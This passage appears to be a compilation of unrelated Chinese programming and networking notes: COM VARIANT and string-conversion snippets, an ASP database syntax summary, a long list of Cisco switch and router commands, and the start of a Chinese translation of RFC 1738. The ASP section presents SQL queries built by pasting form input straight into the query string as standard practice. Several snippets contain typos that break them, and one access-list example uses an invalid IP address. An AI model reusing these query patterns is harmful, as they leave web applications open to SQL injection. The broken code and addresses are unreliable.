        va;
int a=2001;
va.vt=VT_I4;///指明整型数据
va.lVal=a;
        ///赋值
对于不马上赋值的VARIANT，最好先用Void VariantInit(VARIANTARG FAR* pvarg);进行初始化,其本质是将vt设置为VT_EMPTY,下表我们列举vt与常用数据的对应关系:
Byte bVal; // VT_UI1.
Short iVal; // VT_I2.
long lVal; // VT_I4.
float fltVal; // VT_R4.
double dblVal; // VT_R8.
VARIANT_BOOL boolVal; // VT_BOOL.
SCODE scode; // VT_ERROR.
CY cyVal; // VT_CY.
DATE date; // VT_DATE.
BSTR bstrVal; // VT_BSTR.
DECIMAL FAR* pdecVal // VT_BYREF|VT_DECIMAL.
IUnknown FAR* punkVal; // VT_UNKNOWN.
IDispatch FAR* pdispVal; // VT_DISPATCH.
SAFEARRAY FAR* parray; // VT_ARRAY|*.
Byte FAR* pbVal; // VT_BYREF|VT_UI1.
short FAR* piVal; // VT_BYREF|VT_I2.
long FAR* plVal; // VT_BYREF|VT_I4.
float FAR* pfltVal; // VT_BYREF|VT_R4.
double FAR* pdblVal; // VT_BYREF|VT_R8.
VARIANT_BOOL FAR* pboolVal; // VT_BYREF|VT_BOOL.
SCODE FAR* pscode; // VT_BYREF|VT_ERROR.
CY FAR* pcyVal; // VT_BYREF|VT_CY.
DATE FAR* pdate; // VT_BYREF|VT_DATE.
BSTR FAR* pbstrVal; // VT_BYREF|VT_BSTR.
IUnknown FAR* FAR* ppunkVal; // VT_BYREF|VT_UNKNOWN.
IDispatch FAR* FAR* ppdispVal; // VT_BYREF|VT_DISPATCH.
SAFEARRAY FAR* FAR* pparray; // VT_ARRAY|*.
VARIANT FAR* pvarVal; // VT_BYREF|VT_VARIANT.
void FAR* byref; // Generic ByRef.
char cVal; // VT_I1.
unsigned short uiVal; // VT_UI2.
unsigned long ulVal; // VT_UI4.
int intVal; // VT_INT.
unsigned int uintVal; // VT_UINT.
char FAR * pcVal; // VT_BYREF|VT_I1.
unsigned short FAR * puiVal; // VT_BYREF|VT_UI2.
unsigned long FAR * pulVal; // VT_BYREF|VT_UI4.
int FAR * pintVal; // VT_BYREF|VT_INT.
unsigned int FAR * puintVal; //VT_BYREF|VT_UINT.

_variant_t是VARIANT的封装类，其赋值可以使用强制类型转换，其构造函数会自动处理这些数据类型。
使用时需加上#include <comdef.h>
例如：
long l=222;
ing i=100;
_variant_t lVal(l);
lVal = (long)i;

COleVariant的使用与_variant_t的方法基本一样，请参考如下例子：
COleVariant v3 = "字符串", v4 = (long)1999;
CString str =(BSTR)v3.pbstrVal;
long i = v4.lVal;

六、其它一些COM数据类型
根据ProgID得到CLSID
HRESULT CLSIDFromProgID( LPCOLESTR lpszProgID,LPCLSID pclsid);
CLSID clsid;
CLSIDFromProgID( L"MAPI.Folder",&clsid);
根据CLSID得到ProgID
WINOLEAPI ProgIDFromCLSID( REFCLSID clsid,LPOLESTR * lplpszProgID);
例如我们已经定义了 CLSID_IApplication,下面的代码得到ProgID
LPOLESTR pProgID = 0;
ProgIDFromCLSID( CLSID_IApplication,&pProgID);
...///可以使用pProgID
CoTaskMemFree(pProgID);//不要忘记释放
七、ANSI与Unicode
Unicode称为宽字符型字串,COM里使用的都是Unicode字符串。
将ANSI转换到Unicode
(1)通过L这个宏来实现，例如: CLSIDFromProgID( L"MAPI.Folder",&clsid);
(2)通过MultiByteToWideChar函数实现转换,例如:
char *szProgID = "MAPI.Folder";
WCHAR szWideProgID[128];
CLSID clsid;
long lLen = MultiByteToWideChar(CP_ACP,0,szProgID,strlen(szProgID),szWideProgID,sizeof(szWideProgID));
szWideProgID[lLen] = '\0';
(3)通过A2W宏来实现,例如:
USES_CONVERSION;
CLSIDFromProgID( A2W(szProgID),&clsid);
将Unicode转换到ANSI
(1)使用WideCharToMultiByte,例如:
// 假设已经有了一个Unicode 串 wszSomeString...
char szANSIString [MAX_PATH];
WideCharToMultiByte ( CP_ACP, WC_COMPOSITECHECK, wszSomeString, -1, szANSIString, sizeof(szANSIString), NULL, NULL );
(2)使用W2A宏来实现,例如:
USES_CONVERSION;
pTemp=W2A(wszSomeString);
八、其它
对消息的处理中我们经常需要将WPARAM或LPARAM等32位数据（DWORD)分解成两个16位数据（WORD),例如：
LPARAM lParam;
WORD loValue = LOWORD(lParam);///取低16位
WORD hiValue = HIWORD(lParam);///取高16位

对于16位的数据(WORD)我们可以用同样的方法分解成高低两个8位数据(BYTE),例如:
WORD wValue;
BYTE loValue = LOBYTE(wValue);///取低8位
BYTE hiValue = HIBYTE(wValue);///取高8位

两个16位数据（WORD）合成32位数据(DWORD,LRESULT,LPARAM,或WPARAM)
LONG MAKELONG( WORD wLow, WORD wHigh );
WPARAM MAKEWPARAM( WORD wLow, WORD wHigh );
LPARAM MAKELPARAM( WORD wLow, WORD wHigh );
LRESULT MAKELRESULT( WORD wLow, WORD wHigh );

两个8位的数据(BYTE)合成16位的数据(WORD)
WORD MAKEWORD( BYTE bLow, BYTE bHigh );

从R(red),G(green),B(blue)三色得到COLORREF类型的颜色值
COLORREF RGB( BYTE byRed,BYTE byGreen,BYTE byBlue );
例如COLORREF bkcolor = RGB(0x22,0x98,0x34);
从COLORREF类型的颜色值得到RGB三个颜色值
BYTE Red =
        GetRValue(bkcolor); ///得到红颜色
BYTE Green = GetGValue(bkcolor);
        ///得到绿颜色
BYTE Blue = GetBValue(bkcolor); ///得到兰颜色

九、注意事项
假如需要使用到ConvertBSTRToString此类函数,需要加上头文件comutil.h,并在setting中加入comsupp.lib或者直接加上#pragma comment( lib, "comsupp.lib" )


ASP数据库语法总结

经常使用到有关数据库的*作。包括连接代码、SQL命令等等，又不曾刻意去记忆它们（我不想去记这东东），

所以常常在用到的时候又去查书本，翻来翻去。哦而还不一定能顺利找到，所以现在把它们全归纳到这里，

提供大家参考。

<一>。数据库的连接方法：

1.Access数据库的DSN-less连接方法:

set adocon=Server.Createobject("adodb.connection")
adoconn.Open"Driver={Microsoft Access Driver(*.mdb)};DBQ="& _
Server.MapPath("数据库所在路径")

2.Access OLE DB连接方法：

set adocon=Server.Createobject("adodb.connection")
adocon.open"Provider=Microsoft.Jet.OLEDB.4.0;"& _
"Data Source=" & Server.MapPath("数据库所在路径")

3.SQL server连接方法：

set adocon=server.createobject("adodb.recordset")
adocon.Open"Driver={SQL Server};Server=(Local);UID=***;PWD=***;"& _
"database=数据库名;"

4.SQL server OLE DB连接方法:

set adocon=Server.Createobject("adodb.connection")
adocon.open"provider=SQLOLEDB.1;Data Source=RITANT4;"& _
"user ID=***;Password=***;"& _
"inital Catalog=数据库名"

<二>。常用的四种SQL命令：

1.查询数据记录(Select)
语法：Select 字段串行 From table Where 字段=内容
例子：想从book表中找出作者为"cancer"的所有记录，SQL语句便如下：
select * from book where author=’cancer’
"*"是取出book表所有的字段，如查询的字段值为数字，则其后的"内容"便无须加上单引号，

如是日期，则在Access中用(#)包括，而在SQL server中则用(’)包括
如:

select * from book where id=1
select * from book where pub_date=#2002-1-7# (Access)
select * from book where pub_date=’2002-1-7’ (SQL Server)

另外如果是查询传入的变量，则如下：

strau=request.form("author")
strsql="select * from book where
        author=’"&strau&"’"

如果查询的是数字，则：

intID=request.form("id")
strsql="select *
        from book where id="&intID

2.添加记录(Insert)
语法：Insert into table(field1,field2,....) Values (value1,value2,....)
例子：添加一作者是"cancer"的记录入book表:
insert into book (bookno,author,bookname) values (’CF001’,’cancer’,’Cancer无组件上传程

序’)
同样，如果用到变量就如下：

strno=request.form("bookno")
strau=request.form("author")
strname=request.form("bookname")
strsql="insert
        into book (bookno,author,bookname) values
        (’"&strno&"’,’"&strau&"’,’

"&strname&"’)"

3.用Recordset对象的Addnew插入数据的方法:
语法：

rs.addnew
rs("field1").value=value1
rs("field2").value=value2
...
rs.update

4.修改数据记录(Update)
语法：update table set field1=value1,field2=value2,...where fieldx=valuex
例子：update book set author=’babycrazy’ where bookno=’CF001’
如果用到变量就如下：

strno=request.form("bookno")
strau=request.form("author")
strsql="update
        book set author=’"&strau&"’ where
        bookno=’"&strno"’"

5.Recordset对象的Update方法:
语法：

rs("field1").value=value1
rs("field2").value=value2
...
rs.update

例子：

strno=request.form("bookno")
strau=request.form("author")
set adocon=server.createobject("adodb.connection")
adocon.open "Driver={Microsoft Access Driver(*.mdb)};DBQ=" & _
Server.Mappath=("/cancer/cancer.mdb")
strsql="select * from book where bookno=’"&strno&"’"
set rs=server.createobject("adodb.recordset")
rs.open strsql,adconn,1,3
if not rs.eof then ’如果有此记录的话
rs("author").value=strau
rs.update
end if
rs.close
set rs=nothing
adocon.close
set adocon=nothing

6.删除一条记录(Delete)
语法：Delete table where field=value
例子：删除book表中作者是cancer的记录

delete book where author=’cancer’

(注意：如果book表中author字段的值为cancer的记录有多条，将会删除所有author为cancer的记录

)

好了，学会了用这些*作，您在用asp*作数据库的时候，该是没有什么问题了。


交换机命令全掌握

1.在基于IOS的交换机上设置主机名/系统名:
switch(config)# hostname hostname
在基于CLI的交换机上设置主机名/系统名:
switch(enable) set system name name-string
2.在基于IOS的交换机上设置登录口令:
switch(config)# enable password level 1 password
在基于CLI的交换机上设置登录口令:
switch(enable) set password
switch(enable) set enalbepass
3.在基于IOS的交换机上设置远程访问:
switch(config)# interface vlan 1
switch(config-if)# ip address ip-address netmask
switch(config-if)# ip default-gateway ip-address
在基于CLI的交换机上设置远程访问:
switch(enable) set interface sc0 ip-address netmask broadcast-address
switch(enable) set interface sc0 vlan
switch(enable) set ip route default gateway
4.在基于IOS的交换机上启用和浏览CDP信息:
switch(config-if)# cdp enable
switch(config-if)# no cdp enable
为了查看Cisco邻接设备的CDP通告信息:
switch# show cdp interface [type modle/port]
switch# show cdp neighbors [type module/port] [detail]
在基于CLI的交换机上启用和浏览CDP信息:
switch(enable) set cdp {enable|disable} module/port
为了查看Cisco邻接设备的CDP通告信息:
switch(enable) show cdp neighbors[module/port] [vlan|duplex|capabilities|detail]
5.基于IOS的交换机的端口描述:
switch(config-if)# description description-string
基于CLI的交换机的端口描述:
switch(enable)set port name module/number description-string
6.在基于IOS的交换机上设置端口速度:
switch(config-if)#
        speed{10|100|auto}
在基于CLI的交换机上设置端口速度:
switch(enable) set port
        speed moudle/number {10|100|auto}
switch(enable) set port speed
        moudle/number {4|16|auto}
7.在基于IOS的交换机上设置以太网的链路模式:
switch(config-if)# duplex {auto|full|half}
在基于CLI的交换机上设置以太网的链路模式:
switch(enable) set port duplex module/number {full|half}
8.在基于IOS的交换机上配置静态VLAN:
switch# vlan database
switch(vlan)# vlan vlan-num name vla
switch(vlan)# exit
switch# configure teriminal
switch(config)# interface interface module/number
switch(config-if)# switchport mode access
switch(config-if)# switchport access vlan vlan-num
switch(config-if)# end
在基于CLI的交换机上配置静态VLAN:
switch(enable) set vlan vlan-num [name name]
switch(enable) set vlan vlan-num mod-num/port-list
9. 在基于IOS的交换机上配置VLAN中继线:
switch(config)# interface interface mod/port
switch(config-if)# switchport mode trunk
switch(config-if)# switchport trunk encapsulation {isl|dotlq}
switch(config-if)# switchport trunk allowed vlan remove vlan-list
switch(config-if)# switchport trunk allowed vlan add vlan-list
在基于CLI的交换机上配置VLAN中继线:
switch(enable) set trunk module/port [on|off|desirable|auto|nonegotiate]
Vlan-range [isl|dotlq|dotl0|lane|negotiate]
10.在基于IOS的交换机上配置VTP管理域:
switch# vlan database
switch(vlan)# vtp domain domain-name
在基于CLI的交换机上配置VTP管理域:
switch(enable) set vtp [domain domain-name]

11.在基于IOS的交换机上配置VTP 模式:
switch# vlan database
switch(vlan)# vtp domain domain-name
switch(vlan)# vtp {sever|cilent|transparent}
switch(vlan)# vtp password password
在基于CLI的交换机上配置VTP 模式:
switch(enable) set vtp [domain domain-name] [mode{ sever|cilent|transparent }][password password]
12. 在基于IOS的交换机上配置VTP版本:
switch# vlan database
switch(vlan)# vtp v2-mode
在基于CLI的交换机上配置VTP版本:
switch(enable) set vtp v2 enable
13. 在基于IOS的交换机上启动VTP剪裁:
switch# vlan database
switch(vlan)# vtp pruning
在基于CL I 的交换机上启动VTP剪裁:
switch(enable) set vtp pruning enable
14.在基于IOS的交换机上配置以太信道:
switch(config-if)# port group group-number [distribution {source|destination}]
在基于CLI的交换机上配置以太信道:
switch(enable) set port channel moudle/port-range mode{on|off|desirable|auto}
15.在基于IOS的交换机上调整根路径成本:
switch(config-if)# spanning-tree [vlan vlan-list] cost cost
在基于CLI的交换机上调整根路径成本:
switch(enable) set spantree portcost moudle/port cost
switch(enable) set spantree portvlancost moudle/port [cost cost][vlan-list]
16.在基于IOS的交换机上调整端口ID:
switch(config-if)# spanning-tree[vlan vlan-list]port-priority port-priority
在基于CLI的交换机上调整端口ID:
switch(enable) set spantree portpri {mldule/port}priority
switch(enable) set spantree portvlanpri {module/port}priority [vlans]
17. 在基于IOS的交换机上修改STP时钟:
switch(config)# spanning-tree [vlan vlan-list] hello-time seconds
switch(config)# spanning-tree [vlan vlan-list] forward-time seconds
` switch(config)# spanning-tree [vlan vlan-list] max-age seconds
在基于CLI的交换机上修改STP时钟:
switch(enable) set spantree hello interval[vlan]
switch(enable) set spantree fwddelay delay [vlan]
switch(enable) set spantree maxage agingtiame[vlan]
18. 在基于IOS的交换机端口上启用或禁用Port Fast 特征:
switch(config-if)#spanning-tree portfast
在基于CLI的交换机端口上启用或禁用Port Fast 特征:
switch(enable) set spantree portfast {module/port}{enable|disable}
19. 在基于IOS的交换机端口上启用或禁用UplinkFast 特征:
switch(config)# spanning-tree uplinkfast [max-update-rate pkts-per-second]
在基于CLI的交换机端口上启用或禁用UplinkFast 特征:
switch(enable) set spantree uplinkfast {enable|disable}[rate update-rate] [all-protocols off|on]
20. 为了将交换机配置成一个集群的命令交换机,首先要给管理接口分配一个IP地址,然后使用下列命令: switch(config)# cluster enable cluster-name
21. 为了从一条中继链路上删除VLAN,可使用下列命令:
switch(enable) clear trunk module/port vlan-range
22. 用show vtp domain 显示管理域的VTP参数.
23. 用show vtp statistics显示管理域的VTP参数.
24. 在Catalyst交换机上定义TrBRF的命令如下:
switch(enable) set vlan vlan-name [name name] type trbrf bridge bridge-num[stp {ieee|ibm}]
25. 在Catalyst交换机上定义TrCRF的命令如下:
switch (enable) set vlan vlan-num [name name] type trcrf
{ring hex-ring-num|decring decimal-ring-num} parent vlan-num
26. 在创建好TrBRF VLAN之后,就可以给它分配交换机端口.对于以太网交换,可以采用如下命令给VLAN分配端口:
switch(enable) set vlan vlan-num mod-num/port-num
27. 命令show spantree显示一个交换机端口的STP状态.
28. 配置一个ELAN的LES和BUS,可以使用下列命令:
ATM (config)# interface atm number.subint multioint
ATM(config-subif)# lane serber-bus ethernet elan-name
29. 配置LECS:
ATM(config)# lane database database-name
ATM(lane-config-databade)# name elan1-name server-atm-address les1-nsap-address
ATM(lane-config-databade)# name elan2-name server-atm-address les2-nsap-address
ATM(lane-config-databade)# name …
30. 创建完数据库后,必须在主接口上启动LECS.命令如下:
ATM(config)# interface atm number
ATM(config-if)# lane config database database-name
ATM(config-if)# lane config auto-config-atm-address
31. 将每个LEC配置到一个不同的ATM子接口上.命令如下:
ATM(config)# interface atm number.subint multipoint
ATM(config)# lane client ethernet vlan-num elan-num
32. 用show lane server 显示LES的状态.
33. 用show lane bus显示bus的状态.
34. 用show lane database显示LECS数据库可内容.
35. 用show lane client显示LEC的状态.
36. 用show module显示已安装的模块列表.
37. 用物理接口建立与VLAN的连接:
router# configure terminal
router(config)# interface media module/port
router(config-if)# description description-string
router(config-if)# ip address ip-addr subnet-mask
router(config-if)# no shutdown
38. 用中继链路来建立与VLAN的连接:
router(config)# interface module/port.subinterface
router(config-ig)# encapsulation[isl|dotlq] vlan-number
router(config-if)# ip address ip-address subnet-mask
39. 用LANE 来建立与VLAN的连接:
router(config)# interface atm module/port
router(config-if)# no ip address
router(config-if)# atm pvc 1 0 5 qsaal
router(config-if)# atm pvc 2 0 16 ilni
router(config-if)# interface atm module/port.subinterface multipoint
router(config-if)# ip address ip-address subnet-mask
router(config-if)# lane client ethernet elan-num
router(config-if)# interface atm module/port.subinterface multipoint
router(config-if)# ip address ip-address subnet-name
router(config-if)# lane client ethernet elan-name
router(config-if)# …
40. 为了在路由处理器上进行动态路由配置,可以用下列IOS命令来进行:
router(config)# ip routing
router(config)# router ip-routing-protocol
router(config-router)# network ip-network-number
router(config-router)# network ip-network-number
41. 配置默认路由:
switch(enable) set ip route default gateway
42. 为一个路由处理器分配VLANID,可在接口模式下使用下列命令:
router(config)# interface interface number
router(config-if)# mls rp vlan-id vlan-id-num
43. 在路由处理器启用MLSP:
router(config)# mls rp ip
44. 为了把一个外置的路由处理器接口和交换机安置在同一个VTP域中:
router(config)# interface interface number
router(config-if)# mls rp vtp-domain domain-name
45. 查看指定的VTP域的信息:
router# show mls rp vtp-domain vtp domain name
46. 要确定RSM或路由器上的管理接口,可以在接口模式下输入下列命令:
router(config-if)#mls rp management-interface

47. 要检验MLS-RP的配置情况：
router# show mls rp
48. 检验特定接口上的MLS配置：
router# show mls rp interface interface number
49. 为了在MLS-SE上设置流掩码而又不想在任一个路由处理器接口上设置访问列表：
set mls flow [destination|destination-source|full]
50. 为使MLS和输入访问列表可以兼容，可以在全局模式下使用下列命令：
router(config)# mls rp ip input-acl
51. 当某个交换机的第3层交换失效时，可在交换机的特权模式下输入下列命令：
switch(enable) set mls enable
52. 若想改变老化时间的值，可在特权模式下输入以下命令：
switch(enable) set mls agingtime agingtime
53. 设置快速老化：
switch(enable) set mls agingtime fast fastagingtime pkt_threshold
54. 确定那些MLS-RP和MLS-SE参与了MLS，可先显示交换机引用列表中的内容再确定：
switch(enable) show mls include
55. 显示MLS高速缓存记录：
switch(enable) show mls entry
56. 用命令show in arp显示ARP高速缓存区的内容。
57. 要把路由器配置为HSRP备份组的成员，可以在接口配置模式下使用下面的命令：
router(config-if)# standby group-number ip ip-address
58. 为了使一个路由器重新恢复转发路由器的角色，在接口配置模式下：
router(config-if)# standy group-number preempt
59. 访问时间和保持时间参数是可配置的：
router(config-if)# standy group-number timers hellotime holdtime
60. 配置HSRP跟踪：
router(config-if)# standy group-number track type-number interface-priority
61. 要显示HSRP路由器的状态：
router# show standby type-number group brief
62. 用命令show ip igmp确定当选的查询器。
63. 启动IP组播路由选择：
router(config)# ip muticast-routing
64. 启动接口上的PIM：
dalllasr1>(config-if)# ip pim {dense-mode|sparse-mode|sparse-dense-mode}
65. 启动稀疏-稠密模式下的PIM：
router# ip multicast-routing
router# interface type number
router# ip pim sparse-dense-mode
66. 核实PIM的配置：
dallasr1># show ip pim interface[type number] [count]
67. 显示PIM邻居：
dallasr1># show ip neighbor type number
68. 为了配置RP的地址，命令如下：
dallasr1># ip pim rp-address ip-address [group-access-list-number][override]
69. 选择一个默认的RP：
dallasr1># ip pim rp-address
通告RP和它所服务的组范围：
dallasr1># ip pim send-rp-announce type number scope ttl group-list access-list-number
为管理范围组通告RP的地址：
dallasr1># ip pim send-rp-announce ethernet0 scope 16 group-list1
dallasr1># access-list 1 permit 266.0.0.0 0.255.255.255
设定一个RP映像代理：
dallasr1># ip pim send-rp-discovery scope ttl
核实组到RP的映像：
dallasr1># show ip pim rp mapping
dallasr1># show ip pim rp [group-name|group-address] [mapping]
70. 在路由器接口上用命令ip multicast ttl-threshold ttl-value设定TTL阀值：
dallasr1>(config-if)# ip multicast ttl-threshold ttl-value
71. 用show ip pim neighbor显示PIM邻居表。
72. 显示组播通信路由表中的各条记录：
dallasr1>show ip mroute [group-name|group-address][scoure][summary][count][active kbps]
73. 要记录一个路由器接受和发送的全部IP组播包：
dallasr1> #debug ip mpacket [detail] [access-list][group]
74. 要在CISCO路由器上配置CGMP：
dallasr1>(config-if)# ip cgmp
75.配置一个组播路由器，使之加入某一个特定的组播组：
dallasr1>(config-if)# ip igmp join-group group-address
76. 关闭 CGMP：
dallasr1>(config-if)# no ip cgmp
77. 启动交换机上的CGMP：
dallasr1>(enable) set cgmp enable
78. 核实Catalyst交换机上CGMP的配置情况：
catalystla1>(enable) show config
set prompt catalystla1>
set interface sc0 192.168.1.1 255.255.255.0
set cgmp enable
79. CGMP离开的设置：
Dallas_SW(enable) set cgmp leave
80. 在Cisco设备上修改控制端口密码：
R1(config)# line console 0
R1(config-line)# login
R1(config-line)# password Lisbon
R1(config)# enable password Lilbao
R1(config)# login local
R1(config)# username student password cisco
81. 在Cisco设备上设置控制台及vty端口的会话超时：
R1(config)# line console 0
R1(config-line)# exec-timeout 5 10
R1(config)# line vty 0 4
R1(config-line)# exec-timeout 5 2
82. 在Cisco设备上设定特权级：
R1(config)# privilege configure level 3 username
R1(config)# privilege configure level 3 copy run start
R1(config)# privilege configure level 3 ping
R1(config)# privilege configure level 3 show run
R1(config)# enable secret level 3 cisco
83. 使用命令privilege 可定义在该特权级下使用的命令：
router(config)# privilege mode level level command
84. 设定用户特权级：
router(config)# enable secret level 3 dallas
router(config)# enable secret san-fran
router(config)# username student password cisco
85. 标志设置与显示：
R1(config)# banner motd ‘unauthorized access will be prosecuted!’
86. 设置vty访问：
R1(config)# access-list 1 permit 192.168.2.5
R1(config)# line vty 0 4
R1(config)# access-class 1 in
87. 配置HTTP访问：
Router3(config)# access-list 1 permit 192.168.10.7
Router3(config)# ip http sever
Router3(config)# ip http access-class 1
Router3(config)# ip http authentication local
Router3(config)# username student password cisco
88. 要启用HTTP访问，请键入以下命令：
switch(config)# ip http sever
89. 在基于set命令的交换机上用setCL1启动和核实端口安全：
switch(enable) set port security mod_num/port_num…enable mac address
switch(enable) show port mod_num/port_num
在基于CiscoIOS命令的交换机上启动和核实端口安全：
switch(config-if)# port secure [mac-mac-count maximum-MAC-count]
switch# show mac-address-table security [type module/port]
90. 用命令access-list在标准通信量过滤表中创建一条记录：
Router(config)# access-list access-list-number {permit|deny} source-address [source-address]
91. 用命令access-list在扩展通信量过滤表中创建一条记录：
Router(config)# access-list access-list-number {permit|deny{protocol|protocol-keyword}}{source source-wildcard|any}{destination destination-wildcard|any}[protocol-specific options][log]
92. 对于带内路由更新，配置路由更新的最基本的命令格式是：
R1(config-router)#distribute-list access-list-number|name in [type number]
93. 对于带外路由更新，配置路由更新的最基本的命令格式是：
R1(config-router)#distribute-list access-list-number|name out [interface-name] routing-process| autonomous-system-number
94. set snmp命令选项：
set snmp community {read-only|ready-write|read-write-all}[community_string]
95. set snmp trap 命令格式如下：
set snmp trap {enable|disable}
[all|moudle|classis|bridge|repeater| auth|vtp|ippermit|vmps|config|entity|stpx]
set snmp trap rvcr_addr rcvr_community
96. 启用SNMP chassis 陷阱:
Console>(enable) set snmp trap enable chassis
97. 启用所有SNMP chassis 陷阱:
Console>(enable) set snmp trap enable


Network Working Group                                     T. Berners-Lee
Request for Comments: 1738                                          CERN
Category: Standards Track                                    L. Masinter
                                                       Xerox Corporation
                                                             M. McCahill
                                                 University of Minnesota
                                                                 Editors
December 1994

统一资源定位器（URL）
(RFC1738——Uniform Resource Locators (URL)）
这份备忘录的情况
本备忘录详细说明了一种为因特网团体提供的因特网标准追踪协议（track protocol），
恳请大家讨论并提出宝贵意见。如果你想了解这个协议的情况及标准化状态，请参考《因
特网正式协议标准（Internet Official Protocol Standards）》（STD 1）的最新版本。
本备忘录可以自由发布发布，不受任何限制。
摘要
该文档详细说明了统一资源定位器、定位的语法和语义以及如何通过因特网来访问资源。

目录
1．绪论	2
2．常规URL语法	2
2．1  URL的主要部分	2
2．2  URL字符编码问题	3
2．3 分层方案和关系链接	4
3．特殊方案	4
3．1通用因特网方案语法	4
3．2 FTP	5
3．3 HTTP	7
3．4 GOPHER	7
3．5 MAILTO	9
3．6 NEWS（新闻）	10
3．7 NNTP（Network News Transfer Protocol,网络新闻传输协议）	10
3．8 TELNET	10
3．9 WAIS（Wide Area Information Servers,广域信息服务系统）	11
3．10 FILES(文件)	11
3．11 PROSPERO	12
4． 新方案的注册	13
5．特定URL方案的BNF（巴柯斯范式）	13
6．安全事项	16
7．感谢	16
附录：上下文URL的推荐标准	17
参考文献：	17
编者地址：	19

1．绪论

因特网上的可用资源可以用简单字符串来表示，该文档就是描述了这种字符串的语法和语
义。而这些字符串则被称为：“统一资源定位器”（URL）。

这篇说明源于万维网全球信息主动组织（World Wide Web global information
initiative）介绍的概念。RFC1630《通用资源标志符》描述了一些对象数据，他们自1990
年起就开始使用这些对象数据。这篇URL说明符合《因特网资源定位符的功能需求
（Functional Requirements for Internet Resource Locators）》[12]中说明的需求。

这篇文档是由工程任务组织（IETF）的URI工作小组写的。如果你有什么建议和意见的
话，你可以给编辑或者URI工作小组< uri@bunyip.com>写信.这个小组的讨论档案存放
在URL:http://www.acl.lanl.gov/URI/archive/uri-archive.index.html。

2．常规URL语法
正如访问资源的方法有很多种一样，对资源进行定位的方案也有好几种。

URL的一般语法只是为使用协议来建立新方案提供了一个框架，当然除了已经在这篇文档
中定义过的。

URL通过提供资源位置的一种抽象标志符来对资源进行定位。系统定位了一个资源后，可
能会对它进行各种各样的操作，这些操作可以抽象为下面的几个词：访问，更新，替换，
发现属性。一般来说，只有访问方法这一项在任何URL方案中都需要进行描述。
2．1  URL的主要部分
第五部分给出了URL语法的完整BNF描述。
URL通常被写成如下形式：
<方案>:<方案描述部分>
一个URL包含了它使用的方案名称（<方案>）, 其后紧跟一个冒号，然后是一个字符串
（<方案描述部分>），这部分的解释由所使用的方案来决定。
方案名称由一串字符组成。小写字母“a”——“z”，数字，字符加号（“+”），句点（“.”）
和连字号（“-”）都可以。为了方便起见，程序在解释URL的时候应该视方案名称中的大
写字母和小写字母一样。（例如：视“HTTP”和“http”一样）。
2．2  URL字符编码问题
URL是由一串字符组成，这些字符可以是字母，数字和特殊符号。一个URL可以用多种方
法来表现,例如：纸上的字迹，或者是用字符集编码的八位字节序列。URL的解释仅取决
于所用字符的特性。
在大多数URL方案中，都是使用URL不同部分的字符序列来代表因特网协议中所使用的
八位字节序列。例如，在ftp方案中主机名，目录名和文件名就是这样的八位字节序列，
它们用URL的不同部分代表。在这些部分里，一个八位字节数可以用这样的字符来表示：
该字符在US—ASCII[20]编码字符集中的编码是这个八位字节数。
另外，八位字节数可以被编成如下形式的代码：“%”后加两个十六进制数字（来自于
“0123456789ABCDEF”），这两个十六进制数字代表了这八位字节数的值。(字符“abcdef”
也可以用于十六进制编码)。
如果存在下面的情况：八位字节数在US-ASCII字符集中没有相应的可显示字符，或者使
用相应字符会产生不安全因素，或者相应的字符被保留用于特定的URL方案的解释，那
么它们必须被编成代码。
没有相应的可显示字符：
URL只能用US-ASCII字符编码集中的可显示字符表示。US-ASCII中没有用到十六进制的
八位字节80-FF，并且00－1F和7F代表了控制字符，这些字符必须进行编码。
不安全：
字符不安全的原因很多。空格字符就是不安全的，因为URL在被转录或者被排版或者被
字处理程序处理后其中重要的空格可能被忽略，而可忽略的空格却有可能被解释了。“<”
和“>”字符也是不安全的，因为它们被用来作为URL在文本中的分隔符；而在有些系统
中用引号“"”来界定URL。“#”字符也是不安全的，因为它在万维网和其他一些系统中
被用来从“片段/锚点”标志符中界定URL，所以它通常都要被编码。字符“%”被用来对
其他字符进行编码，它也是不安全的。其他一些字符，如："{", "}", "|", "\", "^",
"~","[", "]",和"`"，由于网关和其他传输代理有时会对这些字符进行修改，所以它们
也是不安全的。
必须对URL中所有不安全的字符进行编码。例如，URL中的字符“#”即使是在通常不处
理片断或者锚点标志符的系统也需要进行编码，这样如果这个URL被拷贝到使用这些标
志符的系统中，也不必改变URL编码了。
保留：
许多URL方案保留了一些字符并赋予特定的含义：它们出现在URL的特定部位并表示特
定的含义。如果一个字符对应的八位字节在方案中被保留了，那么这个八位字节必须进行
编码。字符";","/", "?", ":", "@", "=" 和 "&"可能被某个方案所保留，除此之外没
有其他的保留字符。
通常情况下一个八位字节被用一个字符表示后或者被编码之后，URL的解释都是一样的。
但这对于保留字符来说就不适用了：对某一特定方案的保留字符进行编码可能会改变URL
的语义。
这样，在URL中只有字母与数字，以及特殊字符“$-_.+!*'(),”和用作保留目的的保留
字符可以不进行编码。
另一方面，不必进行编码的字符（包括字母与数字）如果出现在URL的特定部位，只要
它们不用作保留目的，则可进行编码。
2．3 分层方案和关系链接
URL有时候被用来定位那些包含指示器的资源，而这些指示器又指向其他资源。有时候这
些指示器用关系链接表示，在关系链接中第二资源的位置表示符原则上“和那些除了带有
次相关路径的表示符相同”。在这篇文档中没有对关系链接进行描述。但是，关系链接的
使用依赖于包含分层结构的原始URL，它是关系链接的基础。
有些URL方案（例如ftp，http，和文件方案）包含的名字可以被认为是分层次的；这些
层次之间用“/”分隔。
3．特殊方案
一些已经存在的标准协议和正处于试验中的协议之间的映射关系的轮廓用BNF语法定义
进行描述。下面对一些协议进行了注释：
   ftp                     File Transfer protocol（文件传输协议）
   http                    Hypertext Transfer Protocol（超文本传输协议）
   gopher                  The Gopher protocol（Gopher协议）
   mailto                  Electronic mail address（电子邮件地址）
   news                    USENET news（USENET新闻）
   nntp                    USENET news using NNTP access
                          （使用NNTP访问的USENET新闻）
   telnet                  Reference to interactive sessions
  （交互式会话访问）
   wais                    Wide Area Information Servers（广域信息服务系统）
   file                    Host-specific file names（特殊主机文件名）
   prospero                Prospero Directory Service(prospero目录服务)
在以后的说明书中可能会对其他一些方案加以描述。这篇文档的第四部分介绍了如何注册
新的方案，并且列出了一些正在研究中的方案名。
3．1通用因特网方案语法
虽然URL其他部分的语法因方案的不同而不同，但那些直接使用基于IP的协议来定位因
特网上的主机的URL方案都使用了如下形式的通用语法来表示特定的方案数据：
//<用户名>:<密码>@<主机>:<端口>/<url路径>
可能会省略“<用户名>:<密码>@”，“ :<密码>”，“ :<端口>”，和“/<url路径>”这些部
分的某些或者全部。这些方案的特定数据以双斜线“//”开头来表明它遵从通用因特网方
案语法。各个部分分别遵守如下规则：
用户名
